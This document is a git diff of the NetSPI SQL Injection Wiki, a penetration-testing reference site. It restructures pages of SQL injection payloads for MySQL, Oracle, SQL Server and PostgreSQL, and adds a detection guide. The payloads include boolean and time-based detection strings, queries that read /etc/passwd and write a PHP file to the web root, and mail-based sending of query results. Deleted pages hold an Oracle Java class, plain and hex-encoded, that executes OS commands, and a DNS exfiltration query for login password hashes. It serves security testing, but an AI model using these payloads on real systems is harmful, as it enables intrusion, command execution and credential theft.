ColumnsSELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
Find Stored Procedures + SELECT proname
+ FROM pg_catalog.pg_namespace n
+ JOIN pg_catalog.pg_proc p
+ ON pronamespace = n.oid
+ WHERE nspname = 'public';
+
Comments + SELECT 1; –comment
+ SELECT /*comment*/1;
+
Server Name
Host Nameselect inet_server_addr()
Listening Portselect inet_server_port();
List SettingsSELECT * FROM pg_settings;
diff --git a/build/SQLServer/attackQueries/informationGathering.html b/attackQueries/informationGathering/sqlserver.html similarity index 75% rename from build/SQLServer/attackQueries/informationGathering.html rename to attackQueries/informationGathering/sqlserver.html index 1c07a5f..f1a431a 100644 --- a/build/SQLServer/attackQueries/informationGathering.html +++ b/attackQueries/informationGathering/sqlserver.html @@ -1,6 +1,6 @@

Information Gathering

-

+

{{site.data.injectionDescriptions.informationGathering}}

@@ -15,28 +15,32 @@

Information Gathering

- - + + - - + + - - + + - - + + - - + + - - + + + + + + @@ -60,7 +64,7 @@

Information Gathering

t.target_set_id, t.TYPE, t.type_skeleton FROM msdb.dbo.syspolicy_policies p INNER JOIN syspolicy_conditions c ON p.condition_id = c.condition_id INNER JOIN msdb.dbo.syspolicy_target_sets t ON t.object_set_id = p.object_set_id - + @@ -74,40 +78,20 @@

Information Gathering

s ON a.audit_guid = s.audit_guid JOIN sys.server_audit_specification_details AS d ON s.server_specification_id = d.server_specification_id - + - + - - - - - - - - - - - - - - - - - - - - diff --git a/attackQueries/lateralMovement/index.html b/attackQueries/lateralMovement/index.html new file mode 100644 index 0000000..aa3fb9d --- /dev/null +++ b/attackQueries/lateralMovement/index.html @@ -0,0 +1,16 @@ +--- +layout: tab +description: Lateral movement allows a tester to gain access to different sets of functionality/data that don't explicitly require a more privileged user. +title: Lateral Movement | NetSPI SQL Injection Wiki +keywords: privilege escalation, lateral, movement, lateral movement, privilege +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html +--- diff --git a/build/MySQL/attackQueries/lateralMovement.html b/attackQueries/lateralMovement/mysql.html similarity index 86% rename from build/MySQL/attackQueries/lateralMovement.html rename to attackQueries/lateralMovement/mysql.html index 9c6dcb7..1081d66 100644 --- a/build/MySQL/attackQueries/lateralMovement.html +++ b/attackQueries/lateralMovement/mysql.html @@ -1,7 +1,7 @@

Lateral Movement

-

+

{{site.data.injectionDescriptions.lateralMovement}}

* Requires privileged user

SELECT @@version;
Database NameSELECT db_name();UserSELECT user;
SELECT system_user;
SELECT user_name();
SELECT loginame from master..sysprocesses where spid = @@SPID
DatabasesSELECT name from master..sysdatabases;UsersSELECT name from master..syslogins
Server NameSELECT @@SERVERNAMETablesSELECT table_catalog, table_name FROM information_schema.columns
Database Tables and ColumnsSELECT table_name, column_name FROM information_schema.columnsColumnsSELECT table_catalog, column_name FROM information_schema.columns
Current Database UserSELECT user;
SELECT system_user;
SELECT user_name();
SELECT loginame from master..sysprocesses where spid = @@SPID
DatabasesSELECT name from master..sysdatabases;
UsersSELECT name from master..sysloginsDatabase NameSELECT db_name();
Server NameSELECT @@SERVERNAME
Find Stored Procedures
Get SQL Domain UserDomain User https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/templates/tsql/Get-SQLDomainUser-Example.sql
View queries run on the systemQuery history SELECT * FROM (SELECT COALESCE(OBJECT_NAME(qt.objectid),'Ad-Hoc') AS objectname, qt.objectid as objectid, last_execution_time, execution_count, encrypted,
(SELECT TOP 1 SUBSTRING(qt.TEXT,statement_start_offset / 2+1,( (CASE WHEN statement_end_offset = -1 THEN (LEN(CONVERT(NVARCHAR(MAX),qt.TEXT)) * 2)
ELSE statement_end_offset END)- statement_start_offset) / 2+1)) AS sql_statement FROM sys.dm_exec_query_stats AS qs CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS qt ) x ORDER BY execution_count DESC
List enabled audit specificationsEnabled audit specifications https://gist.github.com/nullbind/5da8b5113da007ba0111
Local Administrators in Sysadmin Role SELECT is_srvrolemember('sysadmin','BUILTIN\Administrators')
Enable database mailsp_configure 'show advanced options', 1;RECONFIGURE;sp_configure 'Database Mail XPs', 1;RECONFIGURE;exec msdb..sp_send_dbmail @recipients='harold@netspi.com',@query='select @@version';
Basic xp_sendmail QueryEXEC master..xp_sendmail 'harold@netspi.com', 'This is a test.'
Send Full Email with xp_sendmailEXEC xp_sendmail @recipients='harold@netspi.com',
@message='This is a test.',
@copy_recipients='test@netspi.com',
@subject='TEST'
Send Query Results Via xp_sendmailEXEC xp_sendmail 'harold@netspi.com', @query='SELECT @@version';
Send Query Results as Attachment Via xp_sendmailCREATE TABLE ##texttab (c1 text)
INSERT ##texttab values ('Put messge here.')
DECLARE @cmd varchar(56)
SET @cmd = 'SELECT c1 from ##texttab'
EXEC master.dbo.xp_sendmail 'robertk',
@query = @cmd, @no_header='TRUE'
DROP TABLE ##texttab
Domain users and LDAP queries via database links and openrowset https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-SQLDomainUser-Example.sql
diff --git a/build/Oracle/attackQueries/lateralMovement.html b/attackQueries/lateralMovement/oracle.html similarity index 85% rename from build/Oracle/attackQueries/lateralMovement.html rename to attackQueries/lateralMovement/oracle.html index 4faaa42..bf38c0f 100644 --- a/build/Oracle/attackQueries/lateralMovement.html +++ b/attackQueries/lateralMovement/oracle.html @@ -1,6 +1,6 @@

Lateral Movement

-

+

{{site.data.injectionDescriptions.lateralMovement}}

diff --git a/build/SQLServer/attackQueries/lateralMovement.html b/attackQueries/lateralMovement/sqlserver.html similarity index 91% rename from build/SQLServer/attackQueries/lateralMovement.html rename to attackQueries/lateralMovement/sqlserver.html index 4f2901c..6096f2f 100644 --- a/build/SQLServer/attackQueries/lateralMovement.html +++ b/attackQueries/lateralMovement/sqlserver.html @@ -1,7 +1,7 @@

Lateral Movement

-

+

{{site.data.injectionDescriptions.lateralMovement}}

* Requires privileged user

diff --git a/attackQueries/parameterManipulation/index.html b/attackQueries/parameterManipulation/index.html new file mode 100644 index 0000000..837a0fa --- /dev/null +++ b/attackQueries/parameterManipulation/index.html @@ -0,0 +1,16 @@ +--- +layout: tab +description: Manipulating parameters aids in bypassing Web Application Firewalls, Anti-Virus scanners, and allows obfuscation of the injection string. +keywords: parameter manipulation, obfuscation, waf, web application firewall +title: Parameter Manipulation | NetSPI SQL Injection Wiki +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html +--- diff --git a/build/MySQL/attackQueries/parameterManipulation.html b/attackQueries/parameterManipulation/mysql.html similarity index 89% rename from build/MySQL/attackQueries/parameterManipulation.html rename to attackQueries/parameterManipulation/mysql.html index dce4c51..945b0a5 100644 --- a/build/MySQL/attackQueries/parameterManipulation.html +++ b/attackQueries/parameterManipulation/mysql.html @@ -1,6 +1,6 @@

Parameter Manipulation

-

Manipulating parameters aids in bypassing Web Application Firewalls, Anti-Virus scanners, and allows modification of various SQL queries for unique situations.

+

{{site.data.injectionDescriptions.parameterManipulation}}

diff --git a/build/Oracle/attackQueries/parameterManipulation.html b/attackQueries/parameterManipulation/oracle.html similarity index 87% rename from build/Oracle/attackQueries/parameterManipulation.html rename to attackQueries/parameterManipulation/oracle.html index 3015405..a12c511 100644 --- a/build/Oracle/attackQueries/parameterManipulation.html +++ b/attackQueries/parameterManipulation/oracle.html @@ -1,6 +1,6 @@

Parameter Manipulation

-

Manipulating parameters aids in bypassing Web Application Firewalls, Anti-Virus scanners, and allows modification of various SQL queries for unique situations.

+

{{site.data.injectionDescriptions.parameterManipulation}}

diff --git a/build/SQLServer/attackQueries/parameterManipulation.html b/attackQueries/parameterManipulation/sqlserver.html similarity index 87% rename from build/SQLServer/attackQueries/parameterManipulation.html rename to attackQueries/parameterManipulation/sqlserver.html index 15084d5..5bd0351 100644 --- a/build/SQLServer/attackQueries/parameterManipulation.html +++ b/attackQueries/parameterManipulation/sqlserver.html @@ -1,6 +1,6 @@

Parameter Manipulation

-

Manipulating parameters aids in bypassing Web Application Firewalls, Anti-Virus scanners, and allows modification of various SQL queries for unique situations.

+

{{site.data.injectionDescriptions.parameterManipulation}}

diff --git a/attackQueries/persistence/index.html b/attackQueries/persistence/index.html new file mode 100644 index 0000000..5ccff23 --- /dev/null +++ b/attackQueries/persistence/index.html @@ -0,0 +1,16 @@ +--- +layout: tab +description: Gaining persistence on a system creates a semi-permanent foothold in the network, allowing prolonged exploitation time. +keywords: persistence, network, foothold +title: Persistence | NetSPI SQL Injection Wiki +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html +--- diff --git a/attackQueries/persistence/mysql.html b/attackQueries/persistence/mysql.html new file mode 100644 index 0000000..18fabde --- /dev/null +++ b/attackQueries/persistence/mysql.html @@ -0,0 +1 @@ +{%include noInjections.html%} diff --git a/attackQueries/persistence/oracle.html b/attackQueries/persistence/oracle.html new file mode 100644 index 0000000..18fabde --- /dev/null +++ b/attackQueries/persistence/oracle.html @@ -0,0 +1 @@ +{%include noInjections.html%} diff --git a/build/SQLServer/attackQueries/persistence.html b/attackQueries/persistence/sqlserver.html similarity index 93% rename from build/SQLServer/attackQueries/persistence.html rename to attackQueries/persistence/sqlserver.html index efc1027..4820643 100644 --- a/build/SQLServer/attackQueries/persistence.html +++ b/attackQueries/persistence/sqlserver.html @@ -1,7 +1,7 @@

Persistence

-

+

{{site.data.injectionDescriptions.persistence}}

* Requires privileged user

diff --git a/attackQueries/privilegeEscalation/index.html b/attackQueries/privilegeEscalation/index.html new file mode 100644 index 0000000..22b3e17 --- /dev/null +++ b/attackQueries/privilegeEscalation/index.html @@ -0,0 +1,16 @@ +--- +layout: tab +description: Certain functionalities require a privileged user and for escalating a vulnerability a privileged user is always the first step. +keywords: privilege escalation, dba, dbo, admin, administrator +title: Privilege Escalation | NetSPI SQL Injection Wiki +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html +--- diff --git a/attackQueries/privilegeEscalation/mysql.html b/attackQueries/privilegeEscalation/mysql.html new file mode 100644 index 0000000..18fabde --- /dev/null +++ b/attackQueries/privilegeEscalation/mysql.html @@ -0,0 +1 @@ +{%include noInjections.html%} diff --git a/build/Oracle/attackQueries/privilegeEscalation.html b/attackQueries/privilegeEscalation/oracle.html similarity index 96% rename from build/Oracle/attackQueries/privilegeEscalation.html rename to attackQueries/privilegeEscalation/oracle.html index 808cd26..f7f2fb3 100644 --- a/build/Oracle/attackQueries/privilegeEscalation.html +++ b/attackQueries/privilegeEscalation/oracle.html @@ -1,6 +1,6 @@

Privilege Escalation

-

+

{{site.data.injectionDescriptions.privilegeEscalation}}

* Requires privileged user

diff --git a/build/SQLServer/attackQueries/privilegeEscalation.html b/attackQueries/privilegeEscalation/sqlserver.html similarity index 98% rename from build/SQLServer/attackQueries/privilegeEscalation.html rename to attackQueries/privilegeEscalation/sqlserver.html index af8b537..4c2ab50 100644 --- a/build/SQLServer/attackQueries/privilegeEscalation.html +++ b/attackQueries/privilegeEscalation/sqlserver.html @@ -1,7 +1,7 @@

Privilege Escalation

-

+

{{site.data.injectionDescriptions.privilegeEscalation}}

* Requires privileged user. The queries below require various privilege types. Stay tuned for detailed privilege escalation paths.

diff --git a/attackQueries/readingAndWritingFiles/index.html b/attackQueries/readingAndWritingFiles/index.html new file mode 100644 index 0000000..54da30c --- /dev/null +++ b/attackQueries/readingAndWritingFiles/index.html @@ -0,0 +1,19 @@ +--- +layout: tab +description: Reading and writing to files aids in data gathering as well as data exfiltration. +keywords: data gathering, reading and writing, reading, writing +title: Reading and Writing Files | NetSPI SQL Injection Wiki +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html + - title: PostgreSQL + shortName: postgresql + fileName: postgresql.html +--- diff --git a/build/MySQL/attackQueries/readingAndWritingFiles.html b/attackQueries/readingAndWritingFiles/mysql.html similarity index 92% rename from build/MySQL/attackQueries/readingAndWritingFiles.html rename to attackQueries/readingAndWritingFiles/mysql.html index 7f4627c..20b4589 100644 --- a/build/MySQL/attackQueries/readingAndWritingFiles.html +++ b/attackQueries/readingAndWritingFiles/mysql.html @@ -1,7 +1,7 @@

Reading and Writing Files

-

+

{{site.data.injectionDescriptions.readingAndWritingFiles}}

* Requires privileged user

diff --git a/build/Oracle/attackQueries/readingAndWritingFiles.html b/attackQueries/readingAndWritingFiles/oracle.html similarity index 85% rename from build/Oracle/attackQueries/readingAndWritingFiles.html rename to attackQueries/readingAndWritingFiles/oracle.html index e723fc8..8606e7b 100644 --- a/build/Oracle/attackQueries/readingAndWritingFiles.html +++ b/attackQueries/readingAndWritingFiles/oracle.html @@ -1,6 +1,6 @@

Reading and Writing Files

-

+

{{site.data.injectionDescriptions.readingAndWritingFiles}}

UTL_FILE can sometimes be used. Check that the following is non-null:
SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';

diff --git a/attackQueries/readingAndWritingFiles/postgresql.html b/attackQueries/readingAndWritingFiles/postgresql.html new file mode 100644 index 0000000..af5588f --- /dev/null +++ b/attackQueries/readingAndWritingFiles/postgresql.html @@ -0,0 +1,39 @@ +

Reading and Writing Files

+ + +

{{site.data.injectionDescriptions.readingAndWritingFiles}}

+ +

* Requires privileged user

+
+ + + + + + + + + + + + + + + + + + + + +
DescriptionQuery
Read Files from Operating System - COPY + CREATE TABLE mydata(t text);
+ COPY mydata FROM '/etc/passwd';
+ SELECT * FROM mydata;
+ DROP TABLE mytest mytest;
+
Read Files from Operating System - pg_read_file + SELECT pg_read_file('/usr/local/pgsql/data/pg_hba.conf', 0, 200); +
Writing Files from Operating System + CREATE TABLE mytable (mycol text);
+ INSERT INTO mytable(mycol) VALUES ('');
+ COPY mytable (mycol) TO '/var/www/test.php';
+
diff --git a/build/SQLServer/attackQueries/readingAndWritingFiles.html b/attackQueries/readingAndWritingFiles/sqlserver.html similarity index 98% rename from build/SQLServer/attackQueries/readingAndWritingFiles.html rename to attackQueries/readingAndWritingFiles/sqlserver.html index ef28a95..11fc8e7 100644 --- a/build/SQLServer/attackQueries/readingAndWritingFiles.html +++ b/attackQueries/readingAndWritingFiles/sqlserver.html @@ -1,7 +1,7 @@

Reading and Writing Files

-

+

{{site.data.injectionDescriptions.readingAndWritingFiles}}

* Requires privileged user

diff --git a/build/MySQL/injectionTypes/errorBased.html b/build/MySQL/injectionTypes/errorBased.html deleted file mode 100644 index e8b91ee..0000000 --- a/build/MySQL/injectionTypes/errorBased.html +++ /dev/null @@ -1,27 +0,0 @@ -

Error Based

- -

- - -
- - - - - - - - - - - - - - - - - - - - -
DescriptionQuery
XML Parse ErrorSELECT extractvalue(rand(),concat(0x3a,(select version())))
Double QuerySELECT 1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT username FROM USERS LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)

Increment Limit 0,1 to Limit 1,1 to begin cycling through data
Get Current DatabaseSELECT a()
diff --git a/build/Oracle/attackQueries/executingOSCommands.html b/build/Oracle/attackQueries/executingOSCommands.html deleted file mode 100644 index a3d1b64..0000000 --- a/build/Oracle/attackQueries/executingOSCommands.html +++ /dev/null @@ -1,41 +0,0 @@ -

Executing OS Commands

- -

- -

Java can be used to execute commands if it's installed.

- - - - - - - - - - - - - - - - diff --git a/build/SQLServer/attackQueries/dataExfiltration.html b/build/SQLServer/attackQueries/dataExfiltration.html deleted file mode 100644 index 431f2cd..0000000 --- a/build/SQLServer/attackQueries/dataExfiltration.html +++ /dev/null @@ -1,22 +0,0 @@ -

Data Exfiltration

- -

- -

Note: It is possible to make a DNS request from MSSQL. However, this request requires administrator privileges and SQL Server 2005.

-
DescriptionQuery
Creating Java Classes - /* create Java class */
- BEGIN
- EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
- END;
- /

- - BEGIN
- EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
- END;
- /

- - /* run OS command */
- SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
Creating Java Classes (Hex encoded) - /* create Java class */
- SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d'')); -
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual -

- /* run OS command */
- SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; -
- - - - - - - - - - - - - - - -
DescriptionQuery
Make DNS RequestDECLARE @host varchar(800);
select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + 'netspi.com' from sys.sql_logins;
exec('xp_fileexist "\' + @host + 'c$boot.ini"');
UNC Path (DNS Request)xp_dirtree ‘\\data.domain.com\file’
diff --git a/dbmsIdentification/index.html b/dbmsIdentification/index.html new file mode 100644 index 0000000..00b8b8c --- /dev/null +++ b/dbmsIdentification/index.html @@ -0,0 +1,16 @@ +--- +layout: tab +description: Detecting what Database Management System (DBMS) is being used is critical in being able to further exploit an injection. +keywords: dbms identification, what, database, what kind +title: DBMS Identification | NetSPI SQL Injection Wiki +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html +--- diff --git a/build/MySQL/dbmsIdentification/dbmsIdentification.html b/dbmsIdentification/mysql.html similarity index 87% rename from build/MySQL/dbmsIdentification/dbmsIdentification.html rename to dbmsIdentification/mysql.html index 2d62490..703c2a5 100644 --- a/build/MySQL/dbmsIdentification/dbmsIdentification.html +++ b/dbmsIdentification/mysql.html @@ -1,5 +1,5 @@

DBMS Identification

-

+

{{site.data.injectionDescriptions.dbmsIdentification}}

Note: The comment characters  --  are placed after the query to remove any commmands following our query, helping to prevent errors.

@@ -22,7 +22,13 @@

DBMS Identification

- + + + + + diff --git a/build/Oracle/dbmsIdentification/dbmsIdentification.html b/dbmsIdentification/oracle.html similarity index 88% rename from build/Oracle/dbmsIdentification/dbmsIdentification.html rename to dbmsIdentification/oracle.html index cc36c73..b67d2c9 100644 --- a/build/Oracle/dbmsIdentification/dbmsIdentification.html +++ b/dbmsIdentification/oracle.html @@ -1,6 +1,6 @@

DBMS Identification

-

+

{{site.data.injectionDescriptions.dbmsIdentification}}

Note: The comment characters  --  are placed after the query to remove any commmands following our query, helping to prevent errors.

page.php?id=' 'mysql' --
Error messages
Note: Triggering DB errors through invalid syntax will sometimes return verbose errors messages that include the DBMS name.
Functionsconnection_id() --
+ row_count() --
+ POW(1,1) --
Error messages
Note: Triggering DB errors through invalid syntax will sometimes return verbose error messages that include the DBMS name.
page.php?id='
@@ -13,13 +13,17 @@

DBMS Identification

+ + + + - + diff --git a/build/SQLServer/dbmsIdentification/dbmsIdentification.html b/dbmsIdentification/sqlserver.html similarity index 85% rename from build/SQLServer/dbmsIdentification/dbmsIdentification.html rename to dbmsIdentification/sqlserver.html index 4e9813b..5bb7655 100644 --- a/build/SQLServer/dbmsIdentification/dbmsIdentification.html +++ b/dbmsIdentification/sqlserver.html @@ -1,6 +1,6 @@

DBMS Identification

-

+

{{site.data.injectionDescriptions.dbmsIdentification}}

Note: The comment characters  --  are placed after the query to remove any commmands following our query, helping to prevent errors.

String concatenation page.jsp?id='||'oracle' --
FunctionsBITAND(1,1) --
Default table page.jsp?id='UNION SELECT 1 FROM v$version --
Error messages
Note: Triggering DB errors through invalid syntax will sometimes return verbose errors messages that include the DBMS name.
Error messages
Note: Triggering DB errors through invalid syntax will sometimes return verbose error messages that include the DBMS name.
page.jsp?id='
@@ -19,7 +19,17 @@

DBMS Identification

- + + + + + + + + + diff --git a/detection.html b/detection.html new file mode 100644 index 0000000..7feeff2 --- /dev/null +++ b/detection.html @@ -0,0 +1,108 @@ +--- +layout: default +description: SQL injections can be detected in a number of ways, use these methods to help you start your escalation path. +keywords: sql injection detection, detection, blind sql injection, error based sql injection +title: Detection | NetSPI SQL Injection Wiki +--- +

SQL Injection Detection

+

{{site.data.injectionDescriptions.injectionDetection}}

+

Parameter Locations

+

Browse the tabs below to see common injection points in various HTTP requests. Common injection points are highlighted in red

+
+ + +
+

In a generic HTTP GET request (and most request types) there are a few common injection points. URL parameters, like id in the below request, cookie names and values, the Host header, and any custom headers are most likely. However, any + content in an HTTP request can be vulnerable to SQL injection.

+
+GET /?id=homePage HTTP/1.1
+Host: www.netspi.com
+Connection: close
+Cache-Control: max-age=0
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
+Upgrade-Insecure-Requests: 1
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+Accept-Encoding: gzip, deflate
+Accept-Language: en-US,en;q=0.9
+X-Server-Name: PROD
+Cookie: user=harold;
+
+
+
+ + +
+

In a standard HTTP POST request with a Content-Type of application/x-www-form-urlencoded the injections will be similar to URL parameters in a GET request. They are located below the HTTP headers, but can still be exploited in the same ways.

+
+POST / HTTP/1.1
+Host: netspi.com.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 39
+
+username=harold&email=harold@netspi.com
+
+ + +
+

In a standard HTTP POST request with a Content-Type of application/json the injections will be usually be in the values of a JSON {"key":"value"} pair. The value may be an array or an object as well. Although the notation is different, + the values can be injected the same way as all other parameters. (Hint: try ', but make sure the JSON is using double quotes, otherwise you may break the request format.)

+
+POST / HTTP/1.1
+Host: netspi.com.com
+Content-Type: application/json
+Content-Length: 56
+
+{
+  "username":"harold",
+  "email":"harold@netspi.com"
+}
+
+ + +
+

In a standard HTTP POST request with a Content-Type of application/xml the injections will usually be inside an <xmlObject></xmlObject>. Although the notation is different, the values can be injected the same way as all other + parameters. (Hint: ')

+
+POST / HTTP/1.1
+Host: netspi.com.com
+Content-Type: application/xml
+Content-Length: 79
+
+<root>
+  <username>harold</username>
+  <email>harold@netspi.com</email>
+</root>
+
+
+
+

Detecting Injections

+

Detecting vulnerable parameters is most easily done by triggering errors and boolean logic within the application. Supplying malformed queries will trigger errors and sending valid queries with various boolean logic statements will trigger different responses + from the web server.

+

Note: True or false statements should return different responses through HTTP status codes or HTML contents. If these responses are consistent with the true/false nature of the query, this identifies an injection.

+
page.asp?id=sql'; SELECT @@SERVERNAME --
Error messages
Note: Triggering DB errors through invalid syntax will sometimes return verbose errors messages that include the DBMS name.
String concatenationpage.php?id='mssql'+'mssql' --
Functions@@rowcount --
+ SQUARE(1) --
+ @@pack_received --
Error messages
Note: Triggering DB errors through invalid syntax will sometimes return verbose error messages that include the DBMS name.
page.asp?id='
+ + + + + + + + + + + + + + + + + + + + + + + + +
DescriptionQuery
Logic Testing
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
Arithmeticproduct.asp?id=1/1 -- true
product.asp?id=1/0 -- false
+ product.asp?id=1/abs(1) -- true
product.asp?id=1/abf(1) -- false
Blind based
Note: Detecting blind injection may require identification or guess-and-check of the DBMS to find the proper timing function.
See here
Error based
Note: Logic testing and arithmetic with invalid syntax may also help cause errors.
See here
diff --git a/favicon.ico b/favicon.ico deleted file mode 100644 index b31ee07..0000000 Binary files a/favicon.ico and /dev/null differ diff --git a/fonts/segoe-ui-bold.eot b/fonts/segoe-ui-bold.eot deleted file mode 100644 index a70c5bc..0000000 Binary files a/fonts/segoe-ui-bold.eot and /dev/null differ diff --git a/fonts/segoe-ui-bold.ttf b/fonts/segoe-ui-bold.ttf deleted file mode 100644 index f9a2187..0000000 Binary files a/fonts/segoe-ui-bold.ttf and /dev/null differ diff --git a/fonts/segoe-ui.eot b/fonts/segoe-ui.eot deleted file mode 100644 index c020510..0000000 Binary files a/fonts/segoe-ui.eot and /dev/null differ diff --git a/fonts/segoe-ui.ttf b/fonts/segoe-ui.ttf deleted file mode 100644 index 91156e1..0000000 Binary files a/fonts/segoe-ui.ttf and /dev/null differ diff --git a/images/facebookCard.jpg b/images/facebookCard.jpg deleted file mode 100644 index 35fd767..0000000 Binary files a/images/facebookCard.jpg and /dev/null differ diff --git a/images/linkedinCard.jpg b/images/linkedinCard.jpg deleted file mode 100644 index 3292a8f..0000000 Binary files a/images/linkedinCard.jpg and /dev/null differ diff --git a/images/logo.png b/images/logo.png deleted file mode 100644 index c76664d..0000000 Binary files a/images/logo.png and /dev/null differ diff --git a/images/logoOnly.png b/images/logoOnly.png deleted file mode 100644 index 00bdd29..0000000 Binary files a/images/logoOnly.png and /dev/null differ diff --git a/images/twitterCard.jpg b/images/twitterCard.jpg deleted file mode 100644 index c4802f7..0000000 Binary files a/images/twitterCard.jpg and /dev/null differ diff --git a/images/vertical.png b/images/vertical.png deleted file mode 100644 index 90e922d..0000000 Binary files a/images/vertical.png and /dev/null differ diff --git a/index.html b/index.html index d6508e4..12372dd 100644 --- a/index.html +++ b/index.html @@ -1,119 +1,21 @@ - - +--- +layout: default +description: A one stop resource for fully identifying, exploiting, and escalating SQL injection vulnerabilities across various Database Management Systems. +title: NetSPI SQL Injection Wiki +--- - - SQL Injection Wiki - - - - - - - - - - - - - - - - - - - - - - - - - + +
+

This wiki's mission is to be a one stop resource for fully identifying, exploiting, and escalating SQL injection vulnerabilities across various Database Management Systems (DBMS). This wiki assumes you have a basic understanding of SQL injection, please + go here for an introduction if you are unfamiliar.

+

Below is an outline of the wiki's structure, laid out in the order of a normal escalation path. Certain queries may be version specific.

+

Step 1: Injection Detection

+

Step 2: DBMS Identification

+

Step 3: Injection Types

+

Step 4: Injection Techniques

+

Step 5: Attack Queries

+

+

Contributing

+

Please feel free to submit pull requests or issues on our Github if you notice something that is missing or inaccurate.

- - -
-
-
-
-
-
-
-
-
- - - - - - - - - - - +
diff --git a/injectionTechniques/conditionalStatements/index.html b/injectionTechniques/conditionalStatements/index.html new file mode 100644 index 0000000..1b6204e --- /dev/null +++ b/injectionTechniques/conditionalStatements/index.html @@ -0,0 +1,16 @@ +--- +layout: tab +description: Conditional statements are beneficial for creating complex queries and aiding in Blind SQL Injection. +title: Conditional Statements | NetSPI SQL Injection Wiki +keywords: conditional statements, if, case, statement +tabs: + - title: MySQL + shortName: mysql + fileName: mysql.html + - title: Oracle + shortName: oracle + fileName: oracle.html + - title: SQL Server + shortName: sqlserver + fileName: sqlserver.html +--- diff --git a/build/MySQL/injectionTechniques/conditionalStatements.html b/injectionTechniques/conditionalStatements/mysql.html similarity index 55% rename from build/MySQL/injectionTechniques/conditionalStatements.html rename to injectionTechniques/conditionalStatements/mysql.html index 3943906..2c5e5e6 100644 --- a/build/MySQL/injectionTechniques/conditionalStatements.html +++ b/injectionTechniques/conditionalStatements/mysql.html @@ -1,6 +1,6 @@

Conditionals

-

+

{{site.data.injectionDescriptions.conditionalStatements}}

@@ -14,9 +14,17 @@

Conditionals

+ + + + + + + +
If/Else SELECT IF(1=2,'true','false')
If/Else (json){"id"="xxx AND IF(length(database())=’1’, SLEEP(15),1)#”}
If the database name's length is 1, database gets unresponsive with given miliseconds
Logical OR SELECT 1 || 0
To see nuances of this operator go here
AND (json){"id"="xxx AND 1=1#"}
True statement
{"id"="xxx AND 1=2#"}
False statement
